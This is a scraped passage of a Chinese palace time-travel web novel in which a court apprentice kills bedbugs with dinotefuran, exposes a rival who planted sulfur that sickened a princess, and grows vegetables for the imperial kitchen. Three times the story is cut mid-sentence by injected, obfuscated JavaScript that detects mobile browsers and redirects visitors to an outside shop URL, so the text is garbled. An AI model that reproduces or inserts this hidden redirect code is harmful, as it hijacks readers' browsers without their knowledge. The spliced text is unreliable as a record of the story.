“你说用这个?喷到寝具和被子上就行?”陆青钰坐在长乐宫的大殿上。 底下站着的是王筑、柳宛东和丹桂。 “奴婢已经在武英司试验过,确实除虫效果良好。” 陆青钰沉默,他转向丹桂。 “你刚才说你是将艾草混合蒿草磨成粉放到碟子中?” “是。” “或者可以先在奴婢的榻上试用一下。”陆青钰身边的一个宫女道。 陆青钰沉思一下,摆了摆手。即便在大殿上也能听见两个孩子的哭声,他知道她们两个哭除了身上痛痒外,还因为闹觉。 实在是因为这些床虱,搞得两个孩子无法安心睡觉,白天就会犯困。再多耽搁一天,孩子们就要多一天睡不好。 “就用明月和映雪的寝具,你们一个人负责一个房间,不过,万一效果不佳,你们两个,”陆青钰指着柳宛东和丹桂,“和武英司都要受罚。” 马上就是两个公主休息的时候,柳宛东拿出一包呋虫胺。将其放到喷壶中,又向喷壶中倒入相应比例的温水,然后拧上喷壶的盖子,开始大力摇晃。 她一边摇晃喷壶一边观察着九公主的寝殿。 这个房间朝南,阳光充沛。 寝具和现代那种低矮的只有一个床板和一个床垫的床不同。这个木床是在架子床外面又加了一个围廊,看起来并不像是一个床,像是木头做的围栏结实的小木屋。 大片的榉木板上雕刻着花鸟鱼虫,架子床下的地板上还铺了一层厚实的木板。 这应当是踏板床,上到床前要先踏着床底下垫着的木板,因此得名。 床上覆盖着厚厚的被衾,因为怕公主被阳光晒到,床架上面挂着厚厚的围帘遮阳。 柳宛东看着眼前坚实密不透风的的床,心中吐槽,这么多木板,这么厚的帘子,床虱能除干净才怪呢。 她指挥其他宫女把所有的被衾全都拿走,拿出喷雾瓶开始从床架到床板再到围栏,全都开始进行喷雾。一瓶喷雾不够,她又重新兑了好几瓶。 将整个床喷好呋虫胺后,她又让人把屋内的各样木头玩具全都收拾出去,开始在房梁、墙壁、窗框和地板上喷洒。 所有地方全都喷洒一遍后,她打开窗户和门,让这些呋虫胺溶剂快点干成膜。 最后叫来宫女,换上新的经过暴晒的被衾。 公主的房间地方虽大,经过拾掇过后,东西并不多。所以夏明素从进到屋子里到将整个屋子喷洒完毕也不过就用了一个时辰。 陆青钰和嬷嬷刚把两个公主哄睡,柳宛东就出来了。 陆青钰半信半疑地带着九公主走近屋子里,屋子里几乎没有什么变化,除了杂物被整理过,床榻、床板没有任何药粉或者驱虫植物,房间内也没有任何气味,倒是因为开窗透风,而只有冷冽的空气。 他抱着孩子跪坐到床上,四处环视床虱的影子。往常两个孩子睡觉前他总是要仔细看一看,通常一看就能看见那种快速移动的大米粒般大小的两头尖的黑色小虫子。 今天他四处仔细看了看,并没有任何虫子出现的痕迹。 暂时放下心来,他和嬷嬷小心翼翼将九公主抱到床上,孩子嘤咛一声安静地睡着了。 不一会,丹桂从八公主的房间出来了,嬷嬷便把八公主也抱了过去。 他看到床的围栏上有星星点点的水痕,轻轻摸上去,水早已经干了。没有任何粘腻的感觉,仔细闻,也没有任何味道。< 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公主寝殿大,和在小盒子里不一样。艾草的气味很容易挥散,对床虱起不到致命作用。 哄着八公主,他想起九公主。这孩子怎么没动静。 他跑过去一看,九公主还在榻上睡得踏实,一呼一吸此起彼伏,煞是可爱。 四周没有任何惹人烦的虫子,她身上也没有再多出红肿。 陆青钰将渐渐入睡的八公主也放在九公主床上,待两个人都睡熟后转身要走出房间,脚踩到了什么。“咯吱”是什么东西爆了的声音。 他低头一看,地板上密密麻麻全都是黑色的床虱……尸体。 19.第十九章 这认可度再减就是负值了。 柳宛东心情沉重。 但是现在还不到她说话的时候,没人允许她说话,她自然无法开口。 她要怎么解释说呋虫胺这种生物制剂的起效时间会比较长。之前课堂测验,因为是在密闭盒子里,浓度相对较高,所以半天床虱就都死了,效果拔群。 但现在是用在公主寝殿,这么大的屋子,又经常开窗通风,药效自然会推迟。 陆青钰对着丹桂满意地点点头,他心目中的优秀女官就是丹桂这样,既要灵活能发明出好用的草纸,又要沉稳能治得住虫害。 “之前说,要是除虫效果不好,就领罚是吧。”陆青钰对着王筑道。 “是卑职的错,没有确定好除虫效果就来献策,还请凤君责罚卑职一人。”王筑的表情十分严肃,着实把柳宛东吓了一跳。 “武英司整个都要受罚,你们平日里的培训根本不过关,就这样用白水除虫还能拿到课堂作业的榜首?”陆青钰挑眉看着柳宛东。 “回禀凤君,除虫需要时间,公主寝殿要比课堂作业的盒子大,通风也更好,所以药效会缓一些,而且床虱的尸体可能会聚集在犄角旮旯很难被发现,吃了药它们会难受一阵,所以咬得凶猛也是正常的……” 陆青钰将头别过去,“你也不用解释了,我看你做饭是个有天赋的,蒸的馒头很不错,但是想做女官呢,就要踏踏实实的。切不可走上歪门邪道用些迷惑之术,而且入宫后你就是宫里人了,不能再和家里人学。” 柳宛东明显听出来陆青钰对于她以及她家的不肯定。就是因为宛铮盗窃的事情现在还没有眉目,这样任谁看她都要被扣上一个“偷盗之家”的连带罪名。 “罚俸吧。”陆青钰说出冰冷的三个字。 此话一出,身后的一众武英司的学生们全都一愣。 如果武英司全体的俸禄被罚那就是很严厉的惩罚。 毕竟不是所有人当女官都是为了加官进爵的,还有的人就是想挣一份俸禄,一份可以让自己在宫中相对体面的俸禄。 女官的俸禄比普通宫女要高,预备女官则处于二者其中,拿基础宫女的薪水以及一定比例的女官补贴。 虽然女官俸禄更高,最低也能达到一贯钱,不过花销也大。就说女官的衣服,比普通宫女的更结实更厚,同时也更贵,这些费用是要均摊到每个人手里的,从个人的月钱中扣。 丹桂原本露出一丝笑容,等她想明白武英司全体也包括她的时候,她的嘴角抽了抽。 柳宛东闭了闭眼睛,刚要说什么,就听见奶妈有点严肃地小声喊了一句,“八公主怎么一直不醒?” 八公主一直在怀里睡到现在,就往常来说,这时候早就醒了,不管有没有跳蚤都该醒了,可今天,没有一点动静,奶妈再轻轻搭上孩子的侧面脖颈,那脉搏实在微弱。 “不好,凤君,孩子怎么没脉了!” 陆青钰来不及思考赏罚的事情,一屋子人乱了起来,慌忙之间宣了太医。 张太医诊断过后,开了一些药,还说要忌口、还要忌刺激物品,防止心血受损。 “太医,这是怎么回事,明月怎么会突然无故昏睡?”陆青钰着急地问。 张太医是从□□公主刚出生起就跟着诊治的,对她们两个人的身体状况很了解。她坐在寝殿里开完药方,就站起身来,开始在八公主的房间内巡视。“卑职想起来,这种情况在公主刚满月的时候也出现过。” 陆青钰这时候大脑才刚刚从晨起的昏沉中清醒一点,半岁时宫外闹瘟疫,明月和映雪因为硫磺熏蒸消毒防疫而昏睡不起。 当时陆青钰还以为她们是患上了瘟疫,整个人简直如堕冰窟,差点要随她们两个去了。 半日过后,两位公主身上起了红疹子,那时候也是张太医诊断的,说是公主和硫磺相冲,一遇到硫磺就会是这样的反应。 知道不是瘟疫后,陆青钰才重新活过来。 今天的症状确实和之前类似。都是昏睡不醒,没什么反应。 “谁用硫磺?”他冷冷一问,八公主寝殿里的宫人全都噤了声。 “回禀凤君,没有人用硫磺,奴婢们知道小殿下不喜硫磺,从未用那些熏蒸过衣服柜子!” “啊……啊啊啊!”九公主的声音从另一边的房间里传来。 声音清脆响亮,活泼快乐,正在和哪个宫人玩闹呢。 □□公主的衣食住行几乎都是一起的。为什么八公主有事,九公主却没事? 陆青钰似乎马上就要找到关键之处了。答案似乎呼之欲出。 张太医从花盆中捻起一些土,她仔细放在鼻子下面闻了闻,“好像是花盆里有。” 几个宫人连忙上去查看,发现昨日才换了盆的的湿土上有一层浅黄色的干粉末,正是硫磺。 “怎么回事,我一天不在殿中,你们就怠慢公主,敷衍了事?”陆青钰气得双眼通红,这些天带娃的疲惫、心中的烦闷全都奔涌到心头。 “看起来这硫磺土是新放的。”张太医仔细查看花盆后得出结论。 “这些东西全都清理一遍!所有人不许出去,全都到殿中来!到底是谁放了硫磺,给我查!”陆青钰抱着八公主走到大殿。 陆青钰身边亲近的几个宫人手忙脚乱地在收拾屋子,大殿已经跪了一片人,自然王筑、柳宛东和丹桂都不能幸免,大殿正中央放着那盆有硫磺土的花盆。 丹桂跪在柳宛东旁边,柳宛东余光瞥见她紧张地整理着发髻,她仔细嗅了嗅,空气中有微弱的臭鸡蛋味道。 她脑中仔细回想之前化学课上学习的,纯度高的硫磺粉末或者固体在常温下没有明显气味,但如果硫磺中含有少量杂质,比如硫化氢、二氧化硫,那么储存时和空气会发生缓慢的氧化反应,生成微量硫化合物。 比如二氧化硫就是呛鼻的火柴燃烧味,硫化氢就是臭鸡蛋的味道,如同丹桂身上一般。 有两位大宫女开始按照顺序搜在场宫人的身,不过所有人搜身的重点都在袖口、鞋靴这些可以揣东西的衣服上,并没有人去搜查宫人们层层叠叠的头发。 第一遍搜查完毕,无果。 陆青钰在殿上走来走去,她现在毫无头绪,如果硫磺土是新放上去的,那大概率是早清有人放上去的。 因为公主寝殿从昨天晚上公主入睡后除了平日值守宫女外就无人进入了。 而两个值守宫女已经作为重点对象被来回搜查盘问了好几轮,都没有明显纰漏和嫌疑。 陆青钰将目光转到王筑、柳宛东和丹桂一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987326|192456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行人身上。 今天早晨过来公主寝殿的就是这些人,和其他原本就在公主寝殿的宫人相比,这些都是“生人”。 “生人”总是不如“熟人”明白这里的规矩。 赵同惠也明白这个道理,她心里七上八下的,万一是哪个不聪明的学生带了硫磺进来还真不一定。她转过头,对着一众学生道,“如果是你们中的谁拿了硫磺,现在站出来,我可以从轻处罚,如果还不站出来,到时候一旦被查到,就不是挨几个板子的事情,毒害皇嗣可是要掉脑袋的!” 丹桂摸了摸自己头上的银钗,银钗上面是一只小小的喜鹊,应当是锤揲工艺,喜鹊的肚子鼓鼓的,看起来非常立体。 大殿之上还是一片沉默。 赵同惠的目光扫过柳宛东和丹桂,这两个人是今早出入公主寝殿最多的人,她有充足的理由去怀疑,但是搜身结果又显示没有任何问题。 柳宛东不太喜欢高调出头,但是眼看着宫女又开始第二轮搜身了,这次搜身依然没有重点摸过发饰,她终于缓缓开口。 “禀报凤君殿下。奴婢有一事不知当讲不当讲。” 一时间所有人的目光都集中在柳宛东身上,赵同惠的眼皮突然地跳了起来。 在这个时间里,谁率先出声谁就很大可能是那个闯祸精。 陆青钰的脸都沉得要掉进地里去了,他平息了一下心情,道,“说。” “硫磺易燃,既然这样搜身搜不出结果,不如用火来验验?” 听到她是来献策的,陆青钰的脸色好了一些,说的不无道理,“那你继续说,怎么个用火检验法?” “据我所知,硫磺粉末靠近火就会爆裂,快速燃烧,而且因为粉末很轻,可以随便落在哪个位置,这样着起来的火也会跟着落下,所以只要身上有携带过、或者之前密切接触过硫磺粉末的人一定逃脱不了。” 丹桂表情明显一滞。 “方法很简单,只需要每个人排成队走到炭火盆那里,没有硫磺粉的人自然能顺利通过,至于沾上硫磺粉的会从头……”柳宛东顿了一下,“从头到脚烧起来。” “既如此,那就全排队走一遍炭火盆吧。”陆青钰下令了。 就在瞬息之间,大殿中的四个大炭火盆全都被端到了殿中央。 殿中所有人自动分成两列,像是线头被扯开一般快速地沿着火盆边缘走了起来。不断有人加进队伍中,每个人都急需证明自己的清白。 丹桂在同学们的你推我搡之间也站到了队列中去。 她慌张地想要跑出队伍,可是身后的同学却一把拽住她,“这边是队伍,回来。” 殿中已经没有单独的宫人了,所有人全都站在队伍中,缓慢有序地往火盆那边行进着。 眼看着前面还有几个人就要到丹桂这里了,丹桂脸涨得通红,浑身颤抖。 “啊!”前边一个小宫女不小心碰到了火盆的边缘,手被烫了一下,叫出了声。 丹桂往前看去,火盆附近围了不少人,看不清楚里面的情况。 “着火了?”柳宛东的声音不大不小地回荡在殿中。 着火了,着火了?! 丹桂慌张地想要跑出队伍,奈何腿脚酸软,一下子倒在了地上。 “哐当!” 20.第二十章 “谁出列了?慌什么?按住她!”陆青钰坐在高位,将下面的情况看得一清二楚。 殿上最不缺的就是人手,丹桂很快就被几个宫女按住跪在殿中央。 豆大的汗珠浸湿了她眼前的头发。 陆青钰有点吃惊地看了赵同惠一眼,丹桂他是知道的,这个时候她怎么…… 赵同惠立马上前对着丹桂问询。“为什么不敢到炭盆这里来,你要干嘛去。” “奴……奴婢要……要小解。”丹桂抖得像筛糠,说话结结巴巴。 几个宫女迅速走上来在她身上一顿摸索。 然而衣服全都摸遍了,也并没有任何可疑的物品。 “今早你去给八公主除虫,有没有携带硫磺粉?”赵同惠问。 丹桂惊慌地抬起头,快速看了赵同惠一眼便低头沉默,“没,没有。” 赵同惠在那边审问,柳宛东就站在王筑身后小声问,“这次罪名是不是很严重?” 王筑低声道,“此事可大可小,一切都要看凤君的意思。” 末了她又补了一句,“不是你吧,宛东。” “自然不是。”柳宛东笑了笑。她听见脑海中的系统音响了。 【当前预备女官级别虐渣经验值为50/100,经验值满后即可获得物品“金口玉言”。】 “我是想说,丹桂头上的钗子是喜鹊还是乌鸦,怎么那么黑。” “严肃,没你的事你就别……”王筑刚想要批评宛东,不要注意那些有的没的,但是她一抬头发现丹桂头上的钗子确实变黑了。 乌黑乌黑的。根本看不出来是个银钗,可早上她见到丹桂的时候绝对不是这样的。 那钗子早上还是银闪闪的,簇新的。 银碰到很多东西都会变色,比如硫磺。 陆青钰此时已经走下殿,王筑走了过来,对着他和赵同惠说了什么。 “拿下你的钗子,丹桂。” 听见陆青钰的声音,她停止了颤抖。 抬起脸,依然是面如死灰。 没挣扎几下,她头上的钗子就被扯了下来,呈到陆青钰手里。 陆青钰仔细看着这银钗,钗子还是新的,但是上边的喜鹊却已经从鸟肚子处变成了乌黑的颜色。 她将钗子递给嬷嬷,嬷嬷扣了两下找到了机关,喜鹊的嘴巴打开,里边吐出了一些淡黄色的粉末。和花盆中的硫磺土如出一辙。 殿下众人窃窃私语起来。 “没想到竟然是丹桂!” “她为什么要放硫磺呢?” “肃静,丹桂,你自己说。”陆青钰揉了揉眉心,他早晨的时候还无条件信任丹桂,没想到丹桂才是放置硫磺的始作俑者。 “奴婢……奴婢原本是想好好除虫的 ,但是,”丹桂伏在殿上泣不成声,“艾草除虫的效果实在有限,我想……我想做得好一些,就想到了硫磺。” “之前不是说过公主殿下不能用硫磺的吗?”王筑道。 “是,是说过,我就想一点点应该没事的,我就在今天早上,带了一些到八公主的寝殿里,将硫磺洒在了床底和柜子中,等了一会,见出来不少床虱的尸体,就将硫磺扫了起来,结果正碰见嬷嬷进来,我怕嬷嬷看见这些硫磺,就想先放到花盆里,等一会趁人不注意拿出去的……没想到……” “没想到竟然闯下如此大祸!丹桂!你为了成绩争强好胜、本末倒置,误伤公主,该当何罪!” “奴婢……知错!”丹桂不断地叩首。 “凤君,八殿下醒了,太医请您过去看。”有太监过来传话。 陆青钰点了点头,“毒害皇嗣是重罪,不管你是有意无意,此罪都不可以赦免!” 丹桂的心理防线彻底崩塌,“回禀凤君,能否看在奴婢制作出好用的湿草纸的份上,从轻处罚奴婢……” 陆青钰动了动嘴,似乎有些不忍。 【当前预备女官级别虐渣经验值为70/100。】 【上级认可度增加至30/100。】 “湿草纸?是那种白色的,上面有纹路的湿润的草纸吗?”柳宛东突然疑惑地说了一句。 “你也知道?”陆青钰语气和缓。 “奴婢最近丢了两包湿厕纸,表皮是蓝色的,每张纸上面都有波浪云纹。” 柳宛东从袖中掏出湿厕纸的蓝色包装。 “你是说这湿草纸是你的?” “上次奴婢还在浣衣局当差时,曾经在一个晚上去飞羽宫送过衣服,途中内急,借用了飞羽宫的茅房。”柳宛东答。 陆青钰看了看柳宛东,又看了看丹桂。“牛四,你说,你找的那个人到底是谁?” 牛四挠了挠头,当时留在飞羽宫的湿草纸只有一张,怎么两个人讲的故事一样啊。 “这些草纸是丹桂给我的,她自然知道是什么样子,但现在宛东也知道上面的花纹……”这里至少有一个人撒了谎,但是牛四分辨不出来。 “那你们详细说说,这纸的作用。” “不会刺伤皮肤,湿湿凉凉。”丹桂道。 “能够擦净污秽,不痛不痒。”柳宛东道。 牛四挠挠头。今早丹桂给了他两叠厕纸,他正高兴呢,没想到竟然把活办砸了。“宛东你说草纸是你的,却不小心丢失了?丹桂你说这草纸是你制作的?” “正是。”柳宛东和丹桂异口同声。 丹桂侧头看了柳宛东一眼,她很想求救。如果宛东要是不在就好了,自己尚且能够凭借她的草纸得到一线生机。 否则她真要被狠狠处罚了。 “厕纸丢了,但是包装还在。”柳宛东从袖子中拿出两个淡蓝色的包装。 丹桂当时从柜子中拿走草纸的时候根本没有拿包装,她是一小叠一小叠从蓝色包装袋上面的塑料封口中拿出来的。她当时不明白为什么这种草纸要装在这样难拿的袋子里。 将所有厕纸拿出来后她自己制作了两个布袋装起来送给了牛四。 陆青钰看着手中有些干掉的厕纸以及外面的布袋若有所思,“宛东,你说这袋子和草纸是一套的?” “正是,这种湿润的草纸因为含有水分,所以绝对不能用纸或者布等容易洇湿的材质盛装,而是要用我手中这种塑料包装,防水储水。” 她将手中的蓝色湿厕纸的外包装展示给大家,然后拉开上面白色的塑料盖子,“上面有盖子,方便每次抽取后可以盖好,保持草纸的水分。” 陆青钰点点头,湿草纸和普通草纸最大的区别就在于湿润程度,因为水分起到了某种润滑作用,可以让私密处不再被大力摩擦。 “而且,使用这种湿润草纸有一个最大的注意事项。”柳宛东又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆青钰听着宫人们的通传,心情愈发好了起来。这宛东虽然每次说话都很离谱,但总能用事实证明她说得没错,真是神人一个。 赵同惠在一旁轻轻松了口气,继丹桂之后,终于有件好事情了,王筑也对她投以宽慰的微笑。 当天柳宛东又用呋虫胺把八殿下的寝殿全都仔细喷洒了一遍,几天过去,两位殿下的宫中再无一只虫子。 同时,柳宛东也应凤君要求,从淘宝上买了大量的成品,分发到宫里、前朝以及各处官府,上门给老百姓们治理虫害。 * 京城,某乡绅大宅。 于夫人示意管家跟着刚来的两名小吏,哪知道人家并不吃饭,也不拿粮,只是进来说要帮助除虫。 “跳蚤、床虱都能除?”于夫人有点惊讶,官府来的人就是口气大,她家里算干净的,被褥经常换洗,可是虫子哪能消杀完呢? “这些被褥,撒过药粉也能睡觉,你们晚上正常休息即可。定期清理虫子尸体。” “哦好好。”将两名小吏送走后,于夫人仔细查看她们撒过药的地方,不像那种拌了红薯的老鼠药,什么也没有,她顿感莫名其妙,撒药撒药,都撒了个啥! 21.第二十一章 第二天早晨她醒来,发现床上地上全都是死去的床虱尸体,家里的水缸上甚至还漂浮了一层。 她简直被惊呆了。 她家就住在京城和乡下的边界,这块有不少富户,京城虽然交通便捷,但是寸土寸金,不如这里住着宽敞。 她没吃饭就跑出去顺着街道大喊,“除虫的太管事了,你们都来看!” 在她的鼓舞下,那一片宅子全都多次用呋虫胺进行了消杀,免去了不少“有虫之痛”。 这种情况不止一家,京城的许多人家都体会到了呋虫胺的好处,用了大约两个月的时间,家家户户的床虱、跳蚤、蟑螂都少了好多。 百姓都说皇宫里有个“神药师”。 * “武英司治虫有功,特赏炭火6盆、棉絮50斤、橘子10个。宛东表现优异,被擢为尚寝局司苑。” 【恭喜宿主完成“减少虫害”任务,获得功德500点。奖励“自动充电桩”1个,电量可辐射100平土地。】 【上级认可度增加至100/100。奖励功德300点。解锁“处方药”——“速效救心丸”1瓶。】 买呋虫胺花的功德点数有一千多,她买的是那种成包的粉剂,还和淘宝店主砍了价,对方看她要的量大才给了优惠。 终于能回点功德血了。 “恭喜你啊宛东,幸好有你,我们都吃上橘子了呢!” “你去司苑管果蔬种植,到时候给我们种出大橘子来,让我们每个人能多吃一瓣!” 柳宛东笑,“我就是一个司苑,而且京城这地方种不了大橘子!”京城和21世纪她生活的地方天气很像,四季分明,冬天冷,夏天热,橘子长出来全发苦。 “你肯定能行的,你有这么多好办法,我们相信你!”绮罗理了理头上的假发,她最近休息得可好了,早上梳妆基本不需要时间。 “好啊,你们结束培训可要多去找我玩!” 又赶上月初,柳宛东去尚寝局报道之前先探了亲。 宛铮刚被放出来,她见到宛东就痛哭流涕,诉说自己在监狱中过得多么辛苦,“好在又重新审理了一遍,根本就没有我偷窃的记录嘛!而且这种纸除了你根本没人有办法做出来!” “好了,现在既然洗清了嫌疑,就能安心卖书了,最近要辛苦你和姥姥,得去各个书院、宅子和酒楼卖书,你也四处看着些,要是沿街有合适的铺子就租下来,到时我给你一台能自己抄书的机器,就不用每次我托人送书给你了!” “能自己抄书?”宛铮眼前一亮,她长这么还第一次听说能有自己抄书的东西! “对,到时你就知道了,铺子要稍微大点,能放下机器的,还要能加进去一个书架,放样品和话本子的。” “知道了,放心吧,京城这么多街,我哪条没跑过,铺子我早就有相中的,只不过还要攒攒钱。” 柳宛东又递给宛铮一些复印好的话本子,“行,慢慢来吧,切不可心急。” 【“繁荣宗族”任务:当前宗族洗清冤屈,繁荣程度20/1000,奖励功德200点。】 * 【升职任务线已开启,当前品阶:九品(司苑),月固定功德值+800。】 每个月都有固定收入了!这是最近这几天柳宛东得到的最好的消息。 司苑某种程度上就是帮皇上种地的,或者说是皇家园林的园丁。尚寝局的菜地主要都在皇宫周边,就像是种田人家自己的地一样 ,种出来主要供给后宫。 尚寝局的司苑有3个,柳宛东主要负责西侧的一片菜地和菜地周边的几棵果树。 柳宛东的上级,典苑孙儒带她来看地的时候她真没意识到自己进了菜地,那一片倒了秧子的韭菜和大葱孤零零地躺在枯黄的地里。 她惊讶地看着这一大片几乎没什么产量的荒地和孙儒大眼瞪小眼。 葱,大葱是那种在沙地都能活的蔬菜,她以前在单元楼里拿花盆种过,非常好活,长势喜人。很难想象,葱都种得如此消瘦的土地该有多贫瘠。 “宛东司苑,这是你的地。”孙儒非常有礼貌。“每日需要浇水施肥,保证产量。春天需要播种,我想培训的时候司正应当都教过你。” “是……”是这样没错,可是理论和实战相差太大了,理论说种子种在土壤里就能发芽,但是现实确实她能不能凿开这些土地都是问题。 她用脚轻轻踩着覆盖了一层霜的土地,感到迷茫。 似乎是知道她要问什么,孙儒直接给出了答案,“这两年霜冻严重,地里好多菜全都长不出,就算长也只是一点点。今年的粮食已经从江南运了,白菜也收税收上来了。宫里就这么大点儿地,哪有种田人家种得好呢?” 顿了顿她又说,“现在是冬天,着急也没用,等春天的时候才能播种,你先熟悉熟悉各种蔬菜的长势、样子,提前规划好明年要种的菜就行。” 如果是以前在21世纪,柳宛东一定会非常赞同孙儒这种“无为”的思想。但是现在不同,她绑了系统,她需要功德点,她终于知道浣衣局吃的白菜帮子不是泔水了,那是货真价实的皇家园林种出来的蔬菜! 种田人家如果当年收成不好,那全家都要节衣缩食,但是皇宫则不同,有余钱能收税,可以吃老百姓的,吃地方官府的。 可既然柳宛东过来是散功德的,她就有义务让宫里的土地长满蔬菜。 之前买呋虫胺,功德点花的七七八八了,账户里还剩下不到200点功德,她先是花了80功德买了100斤有机土,又花了30功德买了个简易版塑料大棚,里面包括几十根细的骨架,还有塑料布,就是透明的大棚膜。 她只是要先试验一下能不能种出蔬菜来。 她先是把花了两天时间让几个太监把地全都翻新了一遍,翻新的时候掺入了有机土,整片地看起来蓬松不少,颜色也从浅浅的土色变成了深黑色。 她选择的种子也是从淘宝上买的。一共有两种,分别是生菜和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987328|192456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 油菜种子。 将种子种在土地上,上面支起一些骨架,再铺上一层塑料薄膜,种子们就有小房子了。 这个塑料大棚很小,总共也就半米高,1米长。 这一片土地实在贫瘠,又地处偏僻,几乎没什么人会路过这里,偶尔有宫人路过也只是好奇地问一嘴,知道她给蔬菜做了个小窝,大家全都笑笑,当笑话讲去了。 柳宛东倒是每日勤恳浇水、施肥、捉虫。 她没想到她种地,甚至捉虫都是有功德的。 每日经常听见系统提示: 【恭喜宿主捉到一只菜青虫,收获功德1点。】 【恭喜宿主施了一次肥,收获功德1点。】 【恭喜宿主翻了一次土,收获功德1点。】 大约一个月后,薄膜里的蔬菜就长得郁郁葱葱了。 油菜是青鸾朝本就有的品种,只不过冬天的油菜受气温影响,产量、质量波动非常大。 生菜则属于外来物种。她买种子的时候,系统自动下达了本土植株保护,保证这种子不会造成大面积泛滥,挤兑本土植物蔬菜。 司苑其实有去御膳房交瓜果蔬菜的义务,但是柳宛东这片地实在贫瘠,而且正值冬天,所以也没有什么硬性规定她一定要交。 反倒是正在算账的孙儒看见她拎着一个带着盖子的木桶说要去御膳房交蔬菜有点震惊了。 “白菜之类的都储存在地窖里,御膳房需要会直接去地窖里拿的 ,不用单独送过去。” “孙典苑,这是油菜和生菜,我种的,要送到御膳房吗?”柳宛东掀开木桶的盖子。 孙儒粗略扫过一眼,就再也挪不开眼神了。 不太明亮的房间里,出现了一桶翠绿。 油菜的叶子是深绿色,茎叶呈浅绿却相当肥厚,和她平日里见过的油菜简直两模两样,这大油菜像是她吃的油菜的奶奶。 这样的深冬,这样的土地,竟然有这样鲜嫩的油菜?她放下手里的算盘,探身往前看。 待她看清楚,桶里不仅有油菜,还有另一种菜。 没有油菜的颜色那么深,鲜绿色,一朵一朵宛如翠色牡丹般层叠盛开着,几乎没什么根茎,整片整片全是叶子,像是绿色的波涛漾在木桶中。 孙儒愣怔半天,她摸了摸桶里的油菜,又摸了摸生菜,突然意识到什么似的,“我和你一起去,对了,我给你换个更轻便篮子。” 她开始满屋子找篮子,可能竹篮许久不用了,她从角落里找出一只积了灰的篮子,跑到井边洗洗涮涮了半天,重新将这些蔬菜装了进去。 柳宛东看着她一顿操作,感觉孙典苑和之前自己刚来的时候那种淡淡的咸鱼感觉不一样了,有一种重新复活了的感觉。 两个人来到御膳房门口。 御膳房真是个好地方,高门大户,就连宫门都要比别处高一些,两个人等了半天,通传的人才回来,“今天的御膳已经在做了,菜不收了,下次记得提前一天告知。” 22.第二十二章 轩辕朔最近总觉得身体燥热难耐,喝水也不解渴,吃饭总觉得撑,可是又随时随地容易感到饥饿。 今天陪她吃午膳的是谢平章。 短短两个月,谢平章已经从卿升成了贵卿。 饭桌上,谢平章耐心地等着太监传菜,虽然御膳每次都吃得很慢,规矩很多,但是他都很开心,能和皇上一起吃饭就是他最大的幸福。 可是皇上好像总是兴致缺缺,也不是今天,而是最近这段日子都没什么胃口。 太医也看了,药也吃了,就说是胃火重。谢平章真不明白,“胃火重”要怎么个治法。 这几天皇上每天都歇在他的宫中,两个人早睡早起,晨起还会时不时去御花园散步,平日里吃的也是相对清淡的饮食,但是皇上的胃口迟迟不好。 他也跟着着急,今天又是如此。 皇上只动了几筷子就兴致缺缺,不再吃了。 他示意石万,石万马上转身去了小厨房,不一会端过来一份汤。 “皇上,这是奴家亲手炖的红枣梨汤,只放了少许黄糖,很清淡的,您尝尝。” 谢平章伸出纤纤素手,接过石万递过来的汤,用汤匙轻轻舀了一勺,送到轩辕朔嘴边。 “朕吃不下了。贵卿独享吧。”轩辕朔大手一挥,就要起身。 “唉,这些天您都吃什么了,我看您呀,吃的比猫都少,每天还要批那么多奏折,真是累死个人了。”谢平章将那勺汤放进自己嘴里。 用力地嚼着里面的红枣。 “呃……”轩辕朔起身的时候眼前出现了重影。 “小心小心!”谢平章何曾见过皇上这么柔弱的时候,平日里都是身强体壮威风凛凛的,今天怎么起个身都在摇晃? “再吃点吧陛下!”谢平章痛心疾首,“就是吃得太少!”他硬是把皇上按坐在凳子上,吩咐传菜的太监,“重新做!这一桌菜都不好,重新做点新鲜、清淡的!” 轩辕朔并没有说话,太监明白了皇上是默认了,便应了匆匆传话去御膳房。 “二位官人稍等。” 柳宛东和孙儒正结伴走在打道回府的路上,身后突然出现了一个年轻的小太监。 “这菜是二位刚刚新采的吧,御膳房让我来取。” “刚才不是说今天的御膳都做了吗?”孙儒不解。 “现下要重新做。”小太监接过竹篮,又恭敬地作揖,“还请司苑同我一道还差。” * 养心殿膳房。 疱长丁自清对着刚撤下来的餐饭发呆。 她知道皇上近来胃口不好,这些天都做的也都是清淡的饮食,但是隔三差五就要重新做,她已经绞尽脑汁把能想到的菜式全都做了。 什么莲房鱼包、山药拔鱼、绿豆粉皮、枸杞煨羊肉,菜混沌、鸡蛋糕、甜柿饼也做了,可是通通不满意。 但是被皇上吃过的御膳半个月内是不能重复的。 她毫无头绪,但是皇上还在那边等着。要不还是白菜炖豆腐吧,她让承应长起锅烧油。 热火朝天地在锅里烧着菜,她轻扫过灶台,想要再找寻点烧菜的灵感。 所有的食材全都在灶台上,一抹鲜嫩的绿色映入眼帘,吸引了她的注意。 “这是什么菜!”她指着竹篮里的生菜道。 